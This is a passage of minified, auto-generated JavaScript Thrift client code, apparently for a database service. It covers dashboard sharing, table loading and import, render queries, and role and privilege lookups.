T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new R3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}delete_dashboards(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_delete_dashboards(w,g)})}send_delete_dashboards(w,g){const h=new this.pClass(this.output),T={session:w,dashboard_ids:g},_=new Rx(T);try{return h.writeMessageBegin("delete_dashboards",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_delete_dashboards(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new P3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}share_dashboard(w,g,h,T,_,v){this._seqid=this.new_seqid();const B=this;return new Promise((Q,pe)=>{B._reqs[B.seqid()]=($e,sn)=>$e?pe($e):Q(sn),B.send_share_dashboard(w,g,h,T,_,v)})}send_share_dashboard(w,g,h,T,_,v){const B=new this.pClass(this.output),Q={session:w,dashboard_id:g,groups:h,objects:T,permissions:_,grant_role:v},pe=new Px(Q);try{return B.writeMessageBegin("share_dashboard",a.MessageType.CALL,this.seqid()),pe.write(B),B.writeMessageEnd(),this.output.flush()}catch($e){throw delete this._reqs[this.seqid()],typeof B.reset=="function"&&B.reset(),$e}}recv_share_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new D3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}unshare_dashboard(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_unshare_dashboard(w,g,h,T,_)})}send_unshare_dashboard(w,g,h,T,_){const v=new this.pClass(this.output),B={session:w,dashboard_id:g,groups:h,objects:T,permissions:_},Q=new Dx(B);try{return v.writeMessageBegin("unshare_dashboard",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_unshare_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new j3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}unshare_dashboards(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_unshare_dashboards(w,g,h,T)})}send_unshare_dashboards(w,g,h,T){const _=new this.pClass(this.output),v={session:w,dashboard_ids:g,groups:h,permissions:T},B=new jx(v);try{return _.writeMessageBegin("unshare_dashboards",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_unshare_dashboards(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new U3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_dashboard_grantees(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_dashboard_grantees(w,g)})}send_get_dashboard_grantees(w,g){const h=new this.pClass(this.output),T={session:w,dashboard_id:g},_=new Ux(T);try{return h.writeMessageBegin("get_dashboard_grantees",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_dashboard_grantees(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new H3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_dashboard_grantees failed: unknown result")}get_link_view(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_link_view(w,g)})}send_get_link_view(w,g){const h=new this.pClass(this.output),T={session:w,link:g},_=new Hx(T);try{return h.writeMessageBegin("get_link_view",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_link_view(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new z3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_link_view failed: unknown result")}create_link(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_create_link(w,g,h)})}send_create_link(w,g,h){const T=new this.pClass(this.output),_={session:w,view_state:g,view_metadata:h},v=new zx(_);try{return T.writeMessageBegin("create_link",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_create_link(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new $3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("create_link failed: unknown result")}load_table_binary(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_load_table_binary(w,g,h,T)})}send_load_table_binary(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,rows:h,column_names:T},B=new $x(v);try{return _.writeMessageBegin("load_table_binary",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_load_table_binary(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new q3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}load_table_binary_columnar(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_load_table_binary_columnar(w,g,h,T)})}send_load_table_binary_columnar(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,cols:h,column_names:T},B=new qx(v);try{return _.writeMessageBegin("load_table_binary_columnar",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_load_table_binary_columnar(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new V3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}load_table_binary_columnar_polys(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_load_table_binary_columnar_polys(w,g,h,T,_)})}send_load_table_binary_columnar_polys(w,g,h,T,_){const v=new this.pClass(this.output),B={session:w,table_name:g,cols:h,column_names:T,assign_render_groups:_},Q=new Vx(B);try{return v.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_load_table_binary_columnar_polys(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new G3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}load_table_binary_arrow(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_load_table_binary_arrow(w,g,h,T)})}send_load_table_binary_arrow(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,arrow_stream:h,use_column_names:T},B=new Gx(v);try{return _.writeMessageBegin("load_table_binary_arrow",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_load_table_binary_arrow(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new W3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}load_table(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_load_table(w,g,h,T)})}send_load_table(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,rows:h,column_names:T},B=new Wx(v);try{return _.writeMessageBegin("load_table",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_load_table(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Y3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}detect_column_types(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_detect_column_types(w,g,h)})}send_detect_column_types(w,g,h){const T=new this.pClass(this.output),_={session:w,file_name:g,copy_params:h},v=new Yx(_);try{return T.writeMessageBegin("detect_column_types",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_detect_column_types(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new X3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("detect_column_types failed: unknown result")}create_table(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_create_table(w,g,h,T)})}send_create_table(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,row_desc:h,create_params:T},B=new Xx(v);try{return _.writeMessageBegin("create_table",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_create_table(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new K3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}import_table(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_import_table(w,g,h,T)})}send_import_table(w,g,h,T){const _=new this.pClass(this.output),v={session:w,table_name:g,file_name:h,copy_params:T},B=new Kx(v);try{return _.writeMessageBegin("import_table",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_import_table(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Z3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}import_geo_table(w,g,h,T,_,v){this._seqid=this.new_seqid();const B=this;return new Promise((Q,pe)=>{B._reqs[B.seqid()]=($e,sn)=>$e?pe($e):Q(sn),B.send_import_geo_table(w,g,h,T,_,v)})}send_import_geo_table(w,g,h,T,_,v){const B=new this.pClass(this.output),Q={session:w,table_name:g,file_name:h,copy_params:T,row_desc:_,create_params:v},pe=new Zx(Q);try{return B.writeMessageBegin("import_geo_table",a.MessageType.CALL,this.seqid()),pe.write(B),B.writeMessageEnd(),this.output.flush()}catch($e){throw delete this._reqs[this.seqid()],typeof B.reset=="function"&&B.reset(),$e}}recv_import_geo_table(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new J3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}import_table_status(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_import_table_status(w,g)})}send_import_table_status(w,g){const h=new this.pClass(this.output),T={session:w,import_id:g},_=new Jx(T);try{return h.writeMessageBegin("import_table_status",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_import_table_status(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Q3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("import_table_status failed: unknown result")}get_first_geo_file_in_archive(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_first_geo_file_in_archive(w,g,h)})}send_get_first_geo_file_in_archive(w,g,h){const T=new this.pClass(this.output),_={session:w,archive_path:g,copy_params:h},v=new Qx(_);try{return T.writeMessageBegin("get_first_geo_file_in_archive",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_first_geo_file_in_archive(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new eg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_first_geo_file_in_archive failed: unknown result")}get_all_files_in_archive(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_all_files_in_archive(w,g,h)})}send_get_all_files_in_archive(w,g,h){const T=new this.pClass(this.output),_={session:w,archive_path:g,copy_params:h},v=new ek(_);try{return T.writeMessageBegin("get_all_files_in_archive",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_all_files_in_archive(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new tg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_all_files_in_archive failed: unknown result")}get_layers_in_geo_file(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_layers_in_geo_file(w,g,h)})}send_get_layers_in_geo_file(w,g,h){const T=new this.pClass(this.output),_={session:w,file_name:g,copy_params:h},v=new tk(_);try{return T.writeMessageBegin("get_layers_in_geo_file",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_layers_in_geo_file(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ng;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_layers_in_geo_file failed: unknown result")}query_get_outer_fragment_count(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_query_get_outer_fragment_count(w,g)})}send_query_get_outer_fragment_count(w,g){const h=new this.pClass(this.output),T={session:w,query:g},_=new nk(T);try{return h.writeMessageBegin("query_get_outer_fragment_count",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_query_get_outer_fragment_count(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ig;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("query_get_outer_fragment_count failed: unknown result")}check_table_consistency(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_check_table_consistency(w,g)})}send_check_table_consistency(w,g){const h=new this.pClass(this.output),T={session:w,table_id:g},_=new ik(T);try{return h.writeMessageBegin("check_table_consistency",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_check_table_consistency(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new sg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("check_table_consistency failed: unknown result")}start_query(w,g,h,T,_,v){this._seqid=this.new_seqid();const B=this;return new Promise((Q,pe)=>{B._reqs[B.seqid()]=($e,sn)=>$e?pe($e):Q(sn),B.send_start_query(w,g,h,T,_,v)})}send_start_query(w,g,h,T,_,v){const B=new this.pClass(this.output),Q={leaf_session:w,parent_session:g,query_ra:h,start_time_str:T,just_explain:_,outer_fragment_indices:v},pe=new sk(Q);try{return B.writeMessageBegin("start_query",a.MessageType.CALL,this.seqid()),pe.write(B),B.writeMessageEnd(),this.output.flush()}catch($e){throw delete this._reqs[this.seqid()],typeof B.reset=="function"&&B.reset(),$e}}recv_start_query(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new rg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("start_query failed: unknown result")}execute_query_step(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_execute_query_step(w,g,h)})}send_execute_query_step(w,g,h){const T=new this.pClass(this.output),_={pending_query:w,subquery_id:g,start_time_str:h},v=new rk(_);try{return T.writeMessageBegin("execute_query_step",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_execute_query_step(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ag;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("execute_query_step failed: unknown result")}broadcast_serialized_rows(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_broadcast_serialized_rows(w,g,h,T,_)})}send_broadcast_serialized_rows(w,g,h,T,_){const v=new this.pClass(this.output),B={serialized_rows:w,row_desc:g,query_id:h,subquery_id:T,is_final_subquery_result:_},Q=new ak(B);try{return v.writeMessageBegin("broadcast_serialized_rows",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_broadcast_serialized_rows(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new og;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}start_render_query(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_start_render_query(w,g,h,T)})}send_start_render_query(w,g,h,T){const _=new this.pClass(this.output),v={session:w,widget_id:g,node_idx:h,vega_json:T},B=new ok(v);try{return _.writeMessageBegin("start_render_query",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_start_render_query(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new lg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("start_render_query failed: unknown result")}execute_next_render_step(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_execute_next_render_step(w,g)})}send_execute_next_render_step(w,g){const h=new this.pClass(this.output),T={pending_render:w,merged_data:g},_=new lk(T);try{return h.writeMessageBegin("execute_next_render_step",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_execute_next_render_step(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new cg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("execute_next_render_step failed: unknown result")}insert_data(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_insert_data(w,g)})}send_insert_data(w,g){const h=new this.pClass(this.output),T={session:w,insert_data:g},_=new ck(T);try{return h.writeMessageBegin("insert_data",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_insert_data(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new dg;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}insert_chunks(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_insert_chunks(w,g)})}send_insert_chunks(w,g){const h=new this.pClass(this.output),T={session:w,insert_chunks:g},_=new dk(T);try{return h.writeMessageBegin("insert_chunks",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_insert_chunks(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new fg;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}checkpoint(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_checkpoint(w,g)})}send_checkpoint(w,g){const h=new this.pClass(this.output),T={session:w,table_id:g},_=new fk(T);try{return h.writeMessageBegin("checkpoint",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_checkpoint(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ug;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_roles(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_roles(w)})}send_get_roles(w){const g=new this.pClass(this.output),h={session:w},T=new uk(h);try{return g.writeMessageBegin("get_roles",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_roles(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new hg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_roles failed: unknown result")}get_db_objects_for_grantee(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_db_objects_for_grantee(w,g)})}send_get_db_objects_for_grantee(w,g){const h=new this.pClass(this.output),T={session:w,roleName:g},_=new hk(T);try{return h.writeMessageBegin("get_db_objects_for_grantee",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_db_objects_for_grantee(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new gg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_db_objects_for_grantee failed: unknown result")}get_db_object_privs(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_db_object_privs(w,g,h)})}send_get_db_object_privs(w,g,h){const T=new this.pClass(this.output),_={session:w,objectName:g,type:h},v=new gk(_);try{return T.writeMessageBegin("get_db_object_privs",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_db_object_privs(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new _g;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_db_object_privs failed: unknown result")}get_all_roles_for_user(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_all_roles_for_user(w,g)})}send_get_all_roles_for_user(w,g){const h=new this.pClass(this.output),T={session:w,userName:g},_=new _k(T);try{return h.writeMessageBegin("get_all_roles_for_user",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_all_roles_for_user(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new pg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_all_roles_for_user failed: unknown result")}get_all_effective_roles_for_user(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_all_effective_roles_for_user(w,g)})}send_get_all_effective_roles_for_user(w,g){const h=new this.pClass(this.output),T={session:w,userName:g},_=new pk(T);try{return 